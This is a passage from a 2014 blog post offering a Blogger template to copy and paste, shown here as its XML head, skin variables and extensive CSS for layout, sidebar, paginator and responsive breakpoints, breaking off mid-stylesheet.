RECOMMENDED POST SLIDE OUT FOR BLOGGER TEMPLATE

Friday, 1 August 2014

RECOMMENDED POST SLIDE OUT FOR BLOGGER TEMPLATE

RECOMMENDED POST SLIDE OUT FOR BLOGGER TEMPLATE

--------------------------------------------------------------------------------------------------------
COPY AND PASTE BELOW CODE
---------------------------------------------------------------------------------------------------------

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE html>
<html b:version='2' class='v2' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<b:if cond='data:blog.isMobile'>
<meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0' name='viewport'/>
<b:else/>
<meta content='width=1100' name='viewport'/>
</b:if>
<b:include data='blog' name='all-head-content'/>
<title><data:blog.pageTitle/></title>
<b:skin><![CDATA[
/* -----------------------------------------------
Blogger Template Style
Name: Simple
Designer: Josh Peterson
URL: www.noaesthetic.com
----------------------------------------------- */
/* Variable definitions====================
<Variable name="keycolor" description="Main Color" type="color" default="#66bbdd" value="#cc6611"/>
<Group description="Page Text" selector="body">
<Variable name="body.font" description="Font" type="font" default="normal normal 12px Arial, Tahoma, Helvetica, FreeSans, sans-serif" value="normal normal 12px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/>
<Variable name="body.text.color" description="Text Color" type="color" default="#222222" value="#222222"/>
</Group>
<Group description="Backgrounds" selector=".body-fauxcolumns-outer">
<Variable name="body.background.color" description="Outer Background" type="color" default="#66bbdd" value="#eeaa00"/>
<Variable name="content.background.color" description="Main Background" type="color" default="#ffffff" value="#ffffff"/>
<Variable name="header.background.color" description="Header Background" type="color" default="transparent" value="#cc6611"/>
</Group>
<Group description="Links" selector=".main-outer">
<Variable name="link.color" description="Link Color" type="color" default="#2288bb" value="#cc6611"/>
<Variable name="link.visited.color" description="Visited Color" type="color" default="#888888" value="#888888"/>
<Variable name="link.hover.color" description="Hover Color" type="color" default="#33aaff" value="#ff9900"/>
</Group>
<Group description="Blog Title" selector=".header h1">
<Variable name="header.font" description="Font" type="font" default="normal normal 60px Arial, Tahoma, Helvetica, FreeSans, sans-serif" value="normal normal 60px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/>
<Variable name="header.text.color" description="Title Color" type="color" default="#3399bb" value="#ffffff"/>
</Group>
<Group description="Blog Description" selector=".header .description">
<Variable name="description.text.color" description="Description Color" type="color" default="#777777" value="#ffffff"/>
</Group>
<Group description="Tabs Text" selector=".tabs-inner .widget li a">
<Variable name="tabs.font" description="Font" type="font" default="normal normal 14px Arial, Tahoma, Helvetica, FreeSans, sans-serif" value="normal normal 14px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/>
<Variable name="tabs.text.color" description="Text Color" type="color" default="#999999" value="#999999"/>
<Variable name="tabs.selected.text.color" description="Selected Color" type="color" default="#000000" value="#000000"/>
</Group>
<Group description="Tabs Background" selector=".tabs-outer .PageList">
<Variable name="tabs.background.color" description="Background Color" type="color" default="#f5f5f5" value="#f5f5f5"/>
<Variable name="tabs.selected.background.color" description="Selected Color" type="color" default="#eeeeee" value="#eeeeee"/>
</Group>
<Group description="Post Title" selector="h3.post-title, .comments h4">
<Variable name="post.title.font" description="Font" type="font" default="normal normal 22px Arial, Tahoma, Helvetica, FreeSans, sans-serif" value="normal normal 22px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/>
</Group>
<Group description="Date Header" selector=".date-header">
<Variable name="date.header.color" description="Text Color" type="color" default="$(body.text.color)" value="$(body.text.color)"/>
<Variable name="date.header.background.color" description="Background Color" type="color" default="transparent" value="transparent"/>
</Group>
<Group description="Post Footer" selector=".post-footer">
<Variable name="post.footer.text.color" description="Text Color" type="color" default="#666666" value="#666666"/>
<Variable name="post.footer.background.color" description="Background Color" type="color" default="#f9f9f9" value="#f9f9f9"/>
<Variable name="post.footer.border.color" description="Shadow Color" type="color" default="#eeeeee" value="#eeeeee"/>
</Group>
<Group description="Gadgets" selector="h2">
<Variable name="widget.title.font" description="Title Font" type="font" default="normal bold 11px Arial, Tahoma, Helvetica, FreeSans, sans-serif" value="normal bold 11px Arial, Tahoma, Helvetica, FreeSans, sans-serif"/>
<Variable name="widget.title.text.color" description="Title Color" type="color" default="#000000" value="#000000"/>
<Variable name="widget.alternate.text.color" description="Alternate Color" type="color" default="#999999" value="#999999"/>
</Group>
<Group description="Images" selector=".main-inner">
<Variable name="image.background.color" description="Background Color" type="color" default="#ffffff" value="#ffffff"/>
<Variable name="image.border.color" description="Border Color" type="color" default="#eeeeee" value="#eeeeee"/>
<Variable name="image.text.color" description="Caption Text Color" type="color" default="$(body.text.color)" value="$(body.text.color)"/>
</Group>
<Group description="Accents" selector=".content-inner">
<Variable name="body.rule.color" description="Separator Line Color" type="color" default="#eeeeee" value="#eeeeee"/>
<Variable name="tabs.border.color" description="Tabs Border Color" type="color" default="$(body.rule.color)" value="$(body.rule.color)"/>
</Group>
<Variable name="body.background" description="Body Background" type="background" color="$(body.background.color)" default="$(color) none repeat scroll top left" value="$(color) none repeat scroll top left"/>
<Variable name="body.background.override" description="Body Background Override" type="string" default="" value=""/>
<Variable name="body.background.gradient.cap" description="Body Gradient Cap" type="url" default="url(//www.blogblog.com/1kt/simple/gradients_light.png)" value="url(//www.blogblog.com/1kt/simple/gradients_light.png)"/>
<Variable name="body.background.gradient.tile" description="Body Gradient Tile" type="url" default="url(//www.blogblog.com/1kt/simple/body_gradient_tile_light.png)" value="url(//www.blogblog.com/1kt/simple/body_gradient_tile_light.png)"/>
<Variable name="content.background.color.selector" description="Content Background Color Selector" type="string" default=".content-inner" value=".content-inner"/>
<Variable name="content.padding" description="Content Padding" type="length" default="10px" value="10px"/>
<Variable name="content.padding.horizontal" description="Content Horizontal Padding" type="length" default="$(content.padding)" value="$(content.padding)"/>
<Variable name="content.shadow.spread" description="Content Shadow Spread" type="length" default="40px" value="40px"/>
<Variable name="content.shadow.spread.webkit" description="Content Shadow Spread (WebKit)" type="length" default="5px" value="5px"/>
<Variable name="content.shadow.spread.ie" description="Content Shadow Spread (IE)" type="length" default="10px" value="10px"/>
<Variable name="main.border.width" description="Main Border Width" type="length" default="0" value="0"/>
<Variable name="header.background.gradient" description="Header Gradient" type="url" default="none" value="url(//www.blogblog.com/1kt/simple/gradients_light.png)"/>
<Variable name="header.shadow.offset.left" description="Header Shadow Offset Left" type="length" default="-1px" value="1px"/>
<Variable name="header.shadow.offset.top" description="Header Shadow Offset Top" type="length" default="-1px" value="2px"/>
<Variable name="header.shadow.spread" description="Header Shadow Spread" type="length" default="1px" value="3px"/>
<Variable name="header.padding" description="Header Padding" type="length" default="30px" value="30px"/>
<Variable name="header.border.size" description="Header Border Size" type="length" default="1px" value="0"/>
<Variable name="header.bottom.border.size" description="Header Bottom Border Size" type="length" default="$(header.border.size)" value="$(header.border.size)"/>
<Variable name="header.border.horizontalsize" description="Header Horizontal Border Size" type="length" default="0" value="0"/>
<Variable name="description.text.size" description="Description Text Size" type="string" default="140%" value="140%"/>
<Variable name="tabs.margin.top" description="Tabs Margin Top" type="length" default="0" value="0"/>
<Variable name="tabs.margin.side" description="Tabs Side Margin" type="length" default="30px" value="30px"/>
<Variable name="tabs.background.gradient" description="Tabs Background Gradient" type="url" default="url(//www.blogblog.com/1kt/simple/gradients_light.png)" value="url(//www.blogblog.com/1kt/simple/gradients_light.png)"/>
<Variable name="tabs.border.width" description="Tabs Border Width" type="length" default="1px" value="1px"/>
<Variable name="tabs.bevel.border.width" description="Tabs Bevel Border Width" type="length" default="1px" value="1px"/>
<Variable name="date.header.padding" description="Date Header Padding" type="string" default="inherit" value="inherit"/>
<Variable name="date.header.letterspacing" description="Date Header Letter Spacing" type="string" default="inherit" value="inherit"/>
<Variable name="date.header.margin" description="Date Header Margin" type="string" default="inherit" value="inherit"/>
<Variable name="post.margin.bottom" description="Post Bottom Margin" type="length" default="25px" value="25px"/>
<Variable name="image.border.small.size" description="Image Border Small Size" type="length" default="2px" value="2px"/>
<Variable name="image.border.large.size" description="Image Border Large Size" type="length" default="5px" value="5px"/>
<Variable name="page.width.selector" description="Page Width Selector" type="string" default=".region-inner" value=".region-inner"/>
<Variable name="page.width" description="Page Width" type="string" default="auto" value="auto"/>
<Variable name="main.section.margin" description="Main Section Margin" type="length" default="15px" value="15px"/>
<Variable name="main.padding" description="Main Padding" type="length" default="15px" value="15px"/>
<Variable name="main.padding.top" description="Main Padding Top" type="length" default="30px" value="30px"/>
<Variable name="main.padding.bottom" description="Main Padding Bottom" type="length" default="30px" value="30px"/>
<Variable name="paging.background" color="$(content.background.color)" description="Background of blog paging area" type="background" default="transparent none no-repeat scroll top center" value="transparent none no-repeat scroll top center"/>
<Variable name="footer.bevel" description="Bevel border length of footer" type="length" default="0" value="0"/>
<Variable name="mobile.background.overlay" description="Mobile Background Overlay" type="string" default="transparent none repeat scroll top left" value="transparent none repeat scroll top left"/>
<Variable name="mobile.background.size" description="Mobile Background Size" type="string" default="auto" value="auto"/>
<Variable name="mobile.button.color" description="Mobile Button Color" type="color" default="#ffffff" value="#ffffff"/>
<Variable name="startSide" description="Side where text starts in blog language" type="automatic" default="left" value="left"/>
<Variable name="endSide" description="Side where text ends in blog language" type="automatic" default="right" value="right"/>
*/
/* Content
----------------------------------------------- */
body {
font: $(body.font);
color: $(body.text.color);
background: $(body.background);
padding: 0 $(content.shadow.spread) $(content.shadow.spread) $(content.shadow.spread);
$(body.background.override)
}
a:link {
color : #0274be;
text-decoration : none;
}
a:visited {
color : #0274be;
text-decoration : none;
}
a:hover {
color : #333333;
text-decoration : none;
}
a img {
border-width : 0;
}
h1, h2, h3, h4, h5, h6 {
font-weight : bold;
line-height : normal;
margin : 0 0 1em;
}
h1 {
font-size : 200%;
}
h2 {
font-size : 180%;
}
h3 {
font-size : 160%;
}
h4 {
font-size : 140%;
}
h5 {
font-size : 120%;
}
h6 {
font-size : 100%;
}
pre {
padding : 0.8em 1em;
margin : 0;
background-color : #2f3741;
border-left : 4px solid #40627E;
font-size : 13px;
color : #839496;
font-family : Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, Monospace;
line-height : 1.4em;
position : relative;
white-space : pre-line;
overflow-wrap : normal;
overflow : auto;
}
blockquote {
font-family : Georgia, serif;
font-size : 13px;
font-style : italic;
margin : 0.25em 0;
padding : 15px 20px 15px 50px;
border : #ccc dashed 1px;
line-height : 1.2;
color : #666;
background : url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO496_94zrehcje1zXmJ5dtMiZPgnU5OA81xqwRM9qMbh1YPZNusxj7P03ceLNSMrKdh07uTJ5iuPsZ8EGJBRjLbARfq-lS-b9n425PJWPBlWOZbdsqrRBPolgqBAPedG_4MZLyIJeF_E/s1600/bg-blockquote.gif) 15px 18px no-repeat #ecf0f1;
clear : both;
}
blockquote cite:before {
content : "\2014 \2009";
}
code {
padding : 2px 4px;
color : #d14;
white-space : nowrap;
background-color : #f7f7f9;
border : #e1e1e8 solid 1px;
border-radius : 4px;
}
#loader {
position : fixed;
top : 0;
left : 0;
background : url(http://yourjavascript.com/images/loading.gif) 50% 50% no-repeat rgba(44, 62, 80, 0.9);
z-index : 9999;
text-align : center;
width : 100%;
height : 100%;
display : none;
}
.tooltip {
display : none;
position : absolute;
border : #da6969 solid 1px;
background-color : rgba(231, 76, 60, 0.9);
border-radius : 3px;
padding : 5px 9px;
color : #fff;
font-size : 13px !important ;
box-shadow : 0 1px 2px black;
}
.thumb-tooltip {
display : none;
position : absolute;
border : #333 solid 1px;
background-color : rgba(231, 76, 60, 0.9);
border-radius : 3px;
padding : 5px 9px;
color : #fff;
font-size : 13px !important ;
}
#header-luar {
background : #2c3e50;
width : 100%;
min-height : 80px;
margin : 0;
padding : 0;
text-align : left;
font : normal normal 16px 'Droid Serif', serif;
clear : both;
border-bottom : 1px solid #111;
box-shadow : 0 1px 6px 0 rgba(0, 0, 0, 0.3);
}
#header-dalam {
width : 952px;
margin : 2px auto;
padding : 0;
text-align : left;
font : normal normal 16px 'Droid Serif', serif;
overflow-wrap : break-word;
overflow : hidden;
}
#header-wrapper {
float : left;
width : 462px;
margin : 0;
border : none;
}
#header-inner {
background-position : center;
margin-left : auto;
margin-right : auto;
}
#header {
float : left;
width : 250px;
margin : 0;
border : none;
text-align : center;
color : #eeeeee;
}
#header2 {
float : right;
width : 200px;
margin : 0;
text-align : left;
color : #eeeeee;
}
.header .widget {
padding : 0;
}
#header3-wrapper {
float : right;
width : 480px;
margin : 0;
text-align : left;
color : #eeeeee;
}
.header2 h2 {
display : none;
}
.header2 .widget {
padding : 0;
margin : 0;
}
#search {
position : relative;
width : 100%;
margin : 0;
padding : 30px 0 0;
}
#search-form {
width : 100%;
margin : 0;
padding : 0;
border-radius : 4px;
}
#search-text {
background : #fff;
font : normal normal 12px Arial, sans-serif;
color : #333;
display : inline-block;
margin : 0;
width : 90%;
padding : 5px 5%;
outline : none;
border : none;
}
.header3 h2 {
display : none;
}
.header3 #PageList1 {
width : 100%;
margin : 0;
padding : 0;
}
.header3 #PageList1 ul {
margin : 0;
padding : 0;
text-transform : none;
list-style-type : none;
}
.header3 #PageList1 li {
display : inline;
margin : 0;
}
.header3 #PageList1 li a {
float : left;
display : block;
text-decoration : none;
padding : 0 14px;
color : #aaa;
line-height : 80px;
font-family : 'Oswald', sans-serif;
font-size : 11px;
font-weight : normal;
text-transform : uppercase;
}
.header3 #PageList1 li a:visited {
color : #aaa;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
color : #fff;
}
#header h1 {
margin : 0;
padding : 14px 0 0;
line-height : 1.2em;
font-family : 'Oswald', serif;
text-transform : none;
font-size : 2.2em;
letter-spacing : 2px;
margin-bottom : 7px;
}
#header a {
color : #eeeeee;
text-decoration : none;
}
#header a:hover {
color : #eeeeee;
}
#header .description {
margin : 0;
padding : 0;
max-width : 220px;
text-transform : uppercase;
letter-spacing : 0.01em;
line-height : 1.6em;
font : normal normal 11px 'Droid Serif', serif;
color : #cccccc;
}
#header img {
margin-left : auto;
margin-right : auto;
}
#wrapper {
width : 1000px;
margin : 0 auto;
padding : 20px 0 0;
text-align : left;
font : normal normal 14px 'Verdana', Sans-serif;
}
#post-wrapper {
background : none;
width : 680px;
float : left;
overflow-wrap : break-word;
overflow : hidden;
margin : 5px;
}
#sidebar-wrapper {
background : none;
width : 300px;
float : right;
overflow-wrap : break-word;
overflow : hidden;
margin : 5px;
}
.breadcrumbs {
padding : 10px 0 10px 0;
text-indent : 10px;
background : #E74C3C;
color : #fff;
font-size : 13px;
border-radius : 4px 4px 0 0;
}
.breadcrumbs .beranda {
display : inline-block;
text-indent : -9999px;
width : auto;
background : url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPpkYACwXIf3HpRxdudDmU0exjfb6dpIRGKouV61IeMLHrOTYuCAEmcHjL3lk4ubXywRMXWBOdn6URK9sDur2ysOPgm4IZ2M3dYgkpVnShvhQSQkJIwsHQJYOJQqeDm0rZ9qHSXbfMyPBG/s1600/beranda.png) center center no-repeat;
}
.breadcrumbs a {
padding : 6px 0 6px 0;
}
.breadcrumbs a .breadcrumbs span {
display : inline-block;
padding : 6px 0 6px 0;
position : relative;
line-height : 12px;
height : 12px;
margin-right : 5px;
border-radius : 2px 0 0 2px;
color : rgb(51, 51, 51);
text-decoration : none !important ;
}
.breadcrumbs a:link, .breadcrumbs a:visited {
color : #eee;
}
.breadcrumbs a:hover {
color : #fff;
}
.post {
background : #fff;
position : relative;
min-height : 160px !important ;
margin : 0 0 15px 0;
}
.post h2.post-title, .post h1.post-title {
font-family : "Oswald", Verdana, Sans-Serif;
font-weight : normal;
text-transform : uppercase;
margin : 0 0 0 0;
}
.post h2.post-title {
font-size : 1.3em;
padding : 10px 0 0 255px;
}
.post h1.post-title {
padding : 10px 10px 0 10px;
font-size : 1.8em;
margin-bottom : 4px;
}
.post h2.post-title a, .post h1.post-title a, .post h2.post-title a:visited, .post h1.post-title a:visited {
color : #555;
}
.post h2.post-title a:hover, .post h1.post-title a:hover {
color : #e74c3c;
}
.postthumb {
background : #2c3e50;
padding : 0;
position : absolute;
top : 0;
left : 0;
transition : all 0.15s 0s ease-in-out;
float : left;
margin : 0;
width : 230px;
height : 160px;
display : block;
overflow : hidden;
border-radius : 4px;
}
.postthumb:before {
content : '';
position : absolute;
top : 75px;
right : 0;
border-width : 10px 10px 10px 0;
border-style : solid solid solid none;
border-color : transparent #fff transparent;
}
.postthumb:hover {
border-color : #fff;
}
.post-body {
font-size: 12px;
overflow:hidden;
}
.postthumb img {
width : 125px;
height : 125px;
border-radius : 100px;
margin : 10px 50px 0 50px;
padding : 5px;
background : #444;
background : rgba(0, 0, 0, 0.2);
border-radius : 100px;
box-shadow : 0 1px 1px rgba(0, 0, 0, 0.4) inset, 0 1px 0 rgba(255, 255, 255, 0.2);
}
.post-label {
position : absolute;
top : 3px;
left : 3px;
width : 200px;
z-index : 10;
}
.post-label a {
font-family : "Oswald", Verdana, Sans-serif;
text-transform : uppercase;
background-color : rgba(231, 76, 60, 0.6);
color : #fff;
font-size : 10px;
display : block;
float : left;
padding : 4px 8px;
margin : 0 3px 3px;
}
.post-label a:hover {
background : rgba(231, 76, 60, 1);
color : #fff;
}
.post-info-icon {
background-image : url("http://3.bp.blogspot.com/-60fYApN0j2M/Ub8uXOv4rNI/AAAAAAAACBs/6PDa4uu3cHk/s1600/csg-51bf2d6764c79.png");
background-repeat : no-repeat;
}
.post-info {
display : block;
margin : 9px 0 9px 245px;
padding : 8px 0;
color : #999;
line-height : 1.6em;
border-top : 1px dotted #e2e2e2;
border-bottom : 1px dotted #e2e2e2;
font-size : 12px;
overflow : hidden;
}
.post-info a {
color : #999;
}
.readmore {
margin : 9px 0 0 0;
text-align : left;
}
.post-info-icon {
display : inline-block;
float : left;
margin : 0 12px 0 0;
}
.post-info a:hover {
color : #000;
}
.jam {
background-position : 0 -98px;
height : 16px;
padding : 0 0 0 17px;
}
.komentar {
background-position : 0 -132px;
height : 16px;
padding : 0 0 0 17px;
}
.label {
background-position : 0 -166px;
height : 16px;
padding : 0 0 0 17px;
}
.admin {
background-position : 0 1px;
height : 16px;
padding : 0 0 0 17px;
}
.tanggal {
background-position : 0 -32px;
height : 16px;
padding : 0 0 0 17px;
}
.snippetpost {
padding-left : 245px;
text-align : left;
}
.artikel-info {
margin : 6px 0 0;
padding : 12px;
border : #e9e9e9 solid 1px;
background : #f8f8f8;
overflow : hidden;
}
.thumb-info {
float : left;
margin : 0 8px 0 0;
width : 85px;
height : 85px !important ;
}
.author_info {
margin : 6px 0 0;
padding : 12px;
border : #c5d0e3 solid 1px;
background : #e6e9f1;
overflow : hidden;
}
.author_photo {
float : right;
margin : 0 0 0 10px;
}
.author_photo img {
width : 85px;
height : 85px;
margin : 0 auto;
background : rgba(255, 255, 255, 0.3);
padding : 10px;
border-radius : 50%;
box-shadow : 1px 1px 1px rgba(0, 0, 0, 0.09) inset;
}
#blog-pager {
font-family : "Oswald", Arial, Sans-Serif;
font-size : 13px;
margin : 0 0 8px;
overflow : hidden;
padding : 10px;
text-align : center;
}
#blog-pager a {
color : #555;
}
#blog-pager a:hover {
color : #e74c3c;
}
#blog-pager-newer-link {
float : left;
}
#blog-pager-older-link {
float : right;
}
.feed-links {
display : none;
font-family : 'Oswald', sans-serif;
padding : 0 35px;
clear : both;
line-height : 2.5em;
}
.main .widget {
border : none;
margin : 0;
padding : 0;
}
.main .Blog {
border-bottom-width : 0;
}
.sidebar h2 {
font-size : 1.4em;
background : url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlx8xkKqnb_KeMGsnOg47Z3SBtsSYuFdcIva5tU8ranMgGmL7n8Uv4V7vyLOgW_FkCreSygHxfgbDzZgwkgyNbpjcLhrE7b15hVO_KkD0M6JrMh6J3zaC6CxRQHXiwOk76ftphFzBm64/s1600/bottom-line.gif) left bottom no-repeat;
margin : 5px 0;
padding-bottom : 12px;
}
.sidebar {
color : #333333;
line-height : 1.5em;
}
.sidebar ul {
list-style : none;
margin : 0 0 0;
padding : 0 0 0;
}
.sidebar li {
margin : 0;
padding : 0 0 0.25em 0;
text-indent : 0;
line-height : 1.5em;
}
.sidebar .widget {
background : none;
margin : 0 0 15px;
padding : 0;
}
.sidebar .widget-content {
padding : 15px 0 15px 20px;
}
.sidebar .PopularPosts .widget-content {
margin : 0;
padding : 10px 0;
}
.sidebar .PopularPosts .item-content {
margin : 0;
padding : 0;
}
.sidebar .PopularPosts ul li {
display : block;
background : none;
margin : 0 0 8px;
padding : 10px 15px;
border : #cfcfcf solid 1px;
}
.sidebar .PopularPosts ul li:hover {
background : #dfdfdf;
border : #bfbfbf solid 1px;
}
.sidebar .PopularPosts ul li a {
font-family : 'Oswald', sans-serif;
font-size : 14px;
font-weight : normal;
text-decoration : none;
text-transform : uppercase;
color : #333;
}
.sidebar .PopularPosts .item-title a {
color : #333;
}
.sidebar .PopularPosts .item-title a:hover {
color : #333;
text-decoration : underline;
}
.sidebar .PopularPosts .item-snippet {
font-size : 12px;
padding : 0;
margin : 0;
line-height : 1.2em;
color : #474747;
}
.sidebar .PopularPosts img {
background : #efefef;
padding : 4px;
border : #ccc solid 1px;
}
.sidebar .cloud-label-widget-content {
margin : 0;
padding : 10px 0;
}
.sidebar .label-size a {
color : #fff !important ;
background : #222;
padding : 8px 10px;
margin : 0 3px 3px 0;
float : left;
display : block;
}
.sidebar .label-size-1 a {
background : #FF8000;
}
.sidebar .label-size-2 a {
background : #D7DF01;
}
.sidebar .label-size-3 a {
background : #B40404;
}
.sidebar .label-size-4 a {
background : #298A08;
}
.sidebar .label-size-5 a {
background : #084B8A;
}
.label-size-1 a:hover, .label-size-2 a:hover, .label-size-3 a:hover, .label-size-4 a:hover, .label-size-5 a:hover {
background : #2288bb;
color : #fff;
text-decoration : none;
}
.sidebar .label-size span {
background : #2288bb;
color : #fff;
padding : 8px 22px;
margin : 0 0 3px;
clear : both;
float : left;
}
.sidebar .label-size {
position : relative;
text-transform : uppercase;
text-decoration : none;
font-size : 14px;
font-family : 'Oswald', sans-serif;
color : #fff;
}
.sidebar .label-size a, .sidebar .label-size a:visited {
color : #fff;
text-decoration : none;
}
.profile-img {
float : left;
margin-top : 0;
margin-right : 5px;
margin-bottom : 5px;
margin-left : 0;
padding : 4px;
border : #dddddd solid 1px;
}
.profile-data {
margin : 0;
text-transform : uppercase;
letter-spacing : 0.01em;
font-family : 'Oswald', sans-serif;
font-size : 16px;
color : #333333;
font-weight : normal;
line-height : 1.5em;
}
.profile-datablock {
margin : 0.5em 0 0.5em;
}
.profile-textblock {
font-size : 14px;
margin : 0.5em 0;
line-height : 1.5em;
}
.profile-link {
font : normal normal 12px 'Droid Serif', serif;
text-transform : uppercase;
letter-spacing : 0.01em;
}
#credit-wrapper {
background : #2c3e50;
width : 100%;
margin : 0;
padding : 0;
}
#link-wrapper {
color : #eee;
width : 952px;
clear : both;
margin : 0 auto;
padding : 20px 0;
line-height : 1.5em;
text-transform : uppercase;
letter-spacing : 0.01em;
text-align : center;
font-family : 'Verdana Serif', serif;
font-size : 14px;
}
#link-wrapper a:link, #link-wrapper a:visited {
color : #888;
text-decoration : none;
}
#link-wrapper a:hover {
color : #fff;
}
.jump-link {
display : none;
}
.paginator {
margin : 10px;
font-size : 1em;
}
.paginator table {
border-collapse : collapse;
table-layout : fixed;
width : 100%;
}
.paginator table td {
white-space : nowrap;
text-align : center;
padding : 0;
}
.paginator span {
display : block;
color : #fff;
padding : 3px 0;
}
.paginator span strong {
padding : 2px 8px;
}
.paginator span a {
padding : 2px 8px;
color : #888;
transition : all 0.5s 0s ease-out;
}
.paginator span a:hover {
background : #f35d5c;
color : #fff !important ;
border-radius : 3px 3px 3px 3px;
}
.paginator span strong {
background : #abacb6;
border-radius : 3px 3px 3px 3px;
font-style : normal;
font-weight : 400;
}
.paginator .scroll_bar {
width : 100%;
height : 20px;
position : relative;
margin-top : 10px;
}
.paginator .scroll_trough {
width : 100%;
height : 3px;
background : #abacb6;
overflow : hidden;
}
.paginator .scroll_thumb {
position : absolute;
z-index : 2;
width : 0;
height : 3px;
top : 0;
left : 0;
font-size : 1px;
background : #2c3e50;
}
.paginator .scroll_knob {
position : absolute;
top : -5px;
left : 50%;
margin-left : -10px;
width : 20px;
height : 20px;
overflow : hidden;
background : url(http://2.bp.blogspot.com/-yIDK_7oy2kw/UsWzE7fQSvI/AAAAAAABFqs/eWy-Bja2LJY/s1600/knob.gif) 50% 50% no-repeat;
cursor : pointer;
}
.paginator .current_page_mark {
position : absolute;
z-index : 1;
top : 0;
left : 0;
width : 0;
height : 3px;
overflow : hidden;
background : #333333;
}
.fullsize .scroll_thumb {
display : none;
}
.paginator_pages {
width : 600px;
text-align : right;
font-size : 0.8em;
color : gray;
margin-top : -10px;
}
/* Responsive */
@media screen and (min-width:100px) and (max-width:314px) {
#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 220px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 208px;
}
.post {
width : 100%;
}
.post-body img {
width : 208px;
}
table.tr-caption-container, div.separator img {
max-width : 190px !important ;
}
.postthumb {
position : relative;
width : 188px;
height : 100px;
margin : 10px 10px 0 10px;
}
.postthumb img {
margin : 10px 0 10px 54px;
width : 70px;
height : 70px;
}
.postthumb:before {
display : none;
}
.post-label {
position : absolute;
top : 13px;
left : 13px;
width : 160px;
}
.post h2.post-title {
padding : 0 10px 0 10px;
}
.snippetpost {
padding-left : 0;
}
.post-info {
margin-left : 0;
}
.share {
display : none;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:314px) and (max-width:394px) {
#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 300px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 284px;
}
.post {
width : 100%;
}
.post-body img {
width : 224px;
}
table.tr-caption-container img, div.separator img {
max-width : 270px !important ;
}
.postthumb {
position : relative;
width : 264px;
height : 130px;
margin : 10px 10px 0 10px;
}
.postthumb img {
margin : 10px 0 10px 77px;
width : 100px;
height : 100px;
}
.postthumb:before {
display : none;
}
.post-label {
position : absolute;
top : 13px;
left : 13px;
width : 210px;
}
.post h2.post-title {
padding : 0 10px 0 10px;
}
.snippetpost {
padding : 0;
}
.post-info {
margin : 0;
}
.share {
display : none;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:394px) and (max-width:474px) {
#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 390px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 370px;
}
.post {
width : 100%;
}
.post-body img {
width : 224px;
}
table.tr-caption-container img, div.separator img {
max-width : 270px !important ;
}
.postthumb {
position : relative;
width : 350px;
height : 150px;
margin : 10px 10px 0 10px;
}
.postthumb img {
margin : 10px 0 10px 110px;
width : 120px;
height : 120px;
}
.postthumb:before {
display : none;
}
.post-label {
position : absolute;
top : 13px;
left : 13px;
width : 300px;
}
.post h2.post-title {
padding : 0 10px 0 10px;
}
.snippetpost {
padding : 0;
}
.post-info {
margin : 0;
padding : 8px 0;
}
.share {
display : none;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:474px) and (max-width:594px) {
#header-luar {
height : auto;
padding : 10px 0 20px;
}
#wrapper, #header-dalam, #header-wrapper, #header, #header2, #header3-wrapper {
width : 470px;
}
#header2 {
margin : 10px 0;
}
#search {
margin : 0;
padding : 0;
}
.header3 #PageList1 li a {
background : #444;
color : #fff;
padding : 0 6px;
font-size : 14px;
line-height : 26px;
margin : 0 5px 5px 0;
}
.header3 #PageList1 li a:hover, .header3 #PageList1 li.selected a, .header3 #PageList1 li.selected a:visited {
background : #ccc;
color : #000;
}
#post-wrapper, #sidebar-wrapper {
width : 430px;
}
.post {
width : 100%;
}
.postthumb, .post-label {
position : absolute;
top : 3em;
left : 0;
}
.post h2.post-title {
font-size : 1.3em;
padding : 10px 10px 0 10px;
}
.post-body img {
max-width : 380px !important ;
}
#credit-wrapper, #link-wrapper {
width : 100%;
}
}
@media screen and (min-width:594px) and (max-width:634px) {
